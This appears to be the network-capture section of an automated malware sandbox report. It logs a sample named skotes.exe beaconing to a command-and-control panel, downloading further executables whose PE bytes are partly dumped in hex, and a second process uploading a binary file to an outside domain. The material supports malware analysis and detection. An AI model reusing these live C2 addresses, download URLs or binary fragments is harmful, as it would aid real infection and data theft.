00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 19, 2024 14:10:48.337629080 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
Dec 19, 2024 14:10:48.337759972 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 d3 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urprpo#+=o6(+,X+
Dec 19, 2024 14:10:48.337858915 CET	1236	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%rpoW(X&rpoY(((0Lss}{oZr1p(++s\(+(+
Dec 19, 2024 14:10:48.337867975 CET	1236	IN	Data Raw: 70 02 7b 19 00 00 04 8c 3f 00 00 01 28 73 00 00 0a 28 19 00 00 0a 00 02 02 7b 16 00 00 04 28 08 00 00 06 7d 1a 00 00 04 02 7b 1a 00 00 04 2d 07 72 cd 04 00 70 2b 05 72 09 05 00 70 28 19 00 00 0a 00 02 72 3f 05 00 70 7d 1b 00 00 04 7e 04 00 00 04 Data Ascii: p{?(s({(}{-rp+rp(r?p}~(rp((u~(rp((u{~(}%{(voo(w-C%}}/\|(+}{/\|/
Dec 19, 2024 14:10:48.337928057 CET	1236	IN	Data Raw: 14 7d 1d 00 00 04 02 14 7d 20 00 00 04 02 14 7d 21 00 00 04 02 14 7d 22 00 00 04 02 14 7d 24 00 00 04 02 14 7d 25 00 00 04 02 14 7d 26 00 00 04 02 7c 15 00 00 04 09 28 82 00 00 0a 00 de 53 02 1f fe 7d 14 00 00 04 02 14 7d 1b 00 00 04 02 14 7d 1c Data Ascii: }} }!}"}$}%}&\|(S}}}}} }!}"}$}%}&\|(*A\|[Wb7d77#
Dec 19, 2024 14:10:48.337937117 CET	896	IN	Data Raw: 40 00 00 04 28 04 00 00 06 6f 6f 00 00 0a 13 04 12 04 28 77 00 00 0a 2d 43 02 16 25 0a 7d 3b 00 00 04 02 11 04 7d 42 00 00 04 02 13 05 02 7c 3c 00 00 04 12 04 12 05 28 13 00 00 2b 00 de 70 02 7b 42 00 00 04 13 04 02 7c 42 00 00 04 fe 15 21 00 00 Data Ascii: @(oo(w-C%};}B\|<(+p{B\|B!%};(p&};}?}@\|<("};}?}@\|<(A4r$)&BSJB
Dec 19, 2024 14:10:48.337945938 CET	1236	IN	Data Raw: 00 00 00 01 00 01 00 00 00 10 00 d2 0a 1a 0c 41 00 01 00 01 00 03 21 10 00 29 06 00 00 41 00 08 00 1c 00 03 01 10 00 40 00 00 00 41 00 11 00 26 00 03 01 10 00 cb 00 00 00 41 00 12 00 28 00 03 01 10 00 3e 01 00 00 41 00 13 00 2a 00 03 01 10 00 17 Data Ascii: A!)A@A&A(>A*A,A0/A;2r1_333QT6TV3
Dec 19, 2024 14:10:48.338135958 CET	224	IN	Data Raw: 01 8c 07 26 00 25 00 00 00 01 00 cb 06 00 00 02 00 d3 0f 00 00 01 00 41 0e 00 00 01 00 af 0b 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 00 00 00 00 00 00 01 00 2a 0c 00 00 01 Data Ascii: &%A*************0A
Dec 19, 2024 14:10:48.338143110 CET	1236	IN	Data Raw: 00 01 00 9c 07 07 00 99 00 08 00 99 00 09 00 99 00 09 00 5a 0d 01 00 11 00 5a 0d 06 00 19 00 5a 0d 0a 00 29 00 5a 0d 10 00 31 00 5a 0d 10 00 39 00 5a 0d 10 00 41 00 5a 0d 10 00 49 00 5a 0d 10 00 51 00 5a 0d 10 00 59 00 5a 0d 10 00 61 00 5a 0d 15 Data Ascii: ZZZ)Z1Z9ZAZIZQZYZaZiZqZyZZZZ Z11&QZ929d89\|EqgOyTZZsy,xZyyZ
Dec 19, 2024 14:10:48.457159042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 ad 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 17 06 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 ec 0a 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 88 04 be 07 00 00 00 00 04 00 02 00 00 00 00 Data Ascii: </@/dIKSW2YJkJoJJW./b'L<textoKebabCase>5__10<AnalizarTextoAsync

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49870	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:51.171561956 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017612001&unit=246122658369
Dec 19, 2024 14:10:52.527050018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49873	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:52.652223110 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:53.995976925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:53 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 19, 2024 14:10:53.996057034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:53.996068954 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 19, 2024 14:10:53.996146917 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 19, 2024 14:10:53.996159077 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 19, 2024 14:10:53.996179104 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 19, 2024 14:10:53.996193886 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 19, 2024 14:10:53.996206045 CET	1236	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 19, 2024 14:10:53.996459007 CET	1236	IN	Data Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@
Dec 19, 2024 14:10:53.996474981 CET	896	IN	Data Raw: ac 65 42 00 e8 ad ff ff ff 83 25 ac 65 42 00 00 59 8d 4d fc e8 dc fb ff ff c9 c3 55 8b ec 8b 4d 08 b8 d8 c8 41 00 39 08 74 11 83 c0 08 3d 50 cb 41 00 75 f2 b8 24 07 42 00 5d c3 8b 40 04 5d c3 55 8b ec 51 51 8b 45 08 56 8b f1 89 45 f8 8d 45 f8 c6 Data Ascii: eB%eBYMUMA9t=PAu$B]@]UQQEVEEEV(A"bRP/YY^aaABAA(API/YUMhBBEP(UMuwhBBEP(UMuhCBE
Dec 19, 2024 14:10:54.115705013 CET	1236	IN	Data Raw: 85 c9 74 0b 8b 41 18 85 c0 75 09 8d 41 1c c3 b8 53 03 42 00 c3 56 57 8b f9 8b 07 8b 70 0c 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 33 c0 40 c3 33 c0 c7 01 6c cb 41 00 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c 89 41 20 89 41 24 89 Data Ascii: tAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F^^ ^$^(^,jYtj]YG~0UjhAdPVWB3PEdeV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49886	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:57.928251982 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017613001&unit=246122658369
Dec 19, 2024 14:10:59.262753010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49892	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:59.440046072 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:11:00.758136034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:11:00 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 19, 2024 14:11:00.758177042 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 19, 2024 14:11:00.758192062 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 19, 2024 14:11:00.758225918 CET	224	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3
Dec 19, 2024 14:11:00.758244991 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 19, 2024 14:11:00.758311033 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 19, 2024 14:11:00.758332014 CET	448	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 19, 2024 14:11:00.758349895 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 19, 2024 14:11:00.758363008 CET	224	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$A
Dec 19, 2024 14:11:00.758424044 CET	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Dec 19, 2024 14:11:00.877846003 CET	1236	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49921	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:10.467216969 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017614001&unit=246122658369
Dec 19, 2024 14:11:11.802934885 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49923	176.53.146.212	80	7232	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:11.351505041 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------BTwdbrBK9qDlqB2UJYfH3y Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 54 77 64 62 72 42 4b 39 71 44 6c 71 42 32 55 4a 59 66 48 33 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 6f 64 69 70 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 66 92 5d e1 65 c1 93 71 a2 20 e5 9a 4c 49 a9 11 ba 09 a0 29 09 4a 53 e5 10 54 28 ca a4 bb cd e7 e7 04 e1 cf ce 9b ae 25 99 43 7a cd 59 2d 92 d5 6c 99 0e 80 61 07 c7 54 c3 7b 8f af 06 c0 34 25 ef 8e 44 db 60 a3 c7 dc ea 59 16 35 e6 da 3f 79 c7 00 32 fe 37 68 4a a7 9f 35 1b 0d d3 d1 f4 70 50 dc 56 93 75 3c 38 af e5 b5 67 49 2f 68 bb e5 21 ec cd 9f b8 67 4d 7d b2 3b 5e 5f f9 18 93 c2 4c cc 67 63 fd eb c3 a1 60 f1 4b 72 2b 65 f5 b4 fc 54 e4 98 5f 2e a0 70 c7 de bb 7e e4 7a 23 1e 30 37 51 31 c4 cf 28 bb b8 e6 ef df da 26 2c 29 31 ef [TRUNCATED] Data Ascii: --------------------------BTwdbrBK9qDlqB2UJYfH3yContent-Disposition: form-data; name="file"; filename="Modipo.bin"Content-Type: application/octet-streamf]eq LI)JST(%CzY-laT{4%D`Y5?y27hJ5pPVu<8gI/h!gM};^_Lgc`Kr+eT_.p~z#07Q1(&,)1;!KAd#KQ\Wz}xq9+ScykwXlkQsT<JGZU38E9--------------------------BTwdbrBK9qDlqB2UJYfH3y--
Dec 19, 2024 14:11:12.734553099 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 13:11:12 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734615673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49928	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

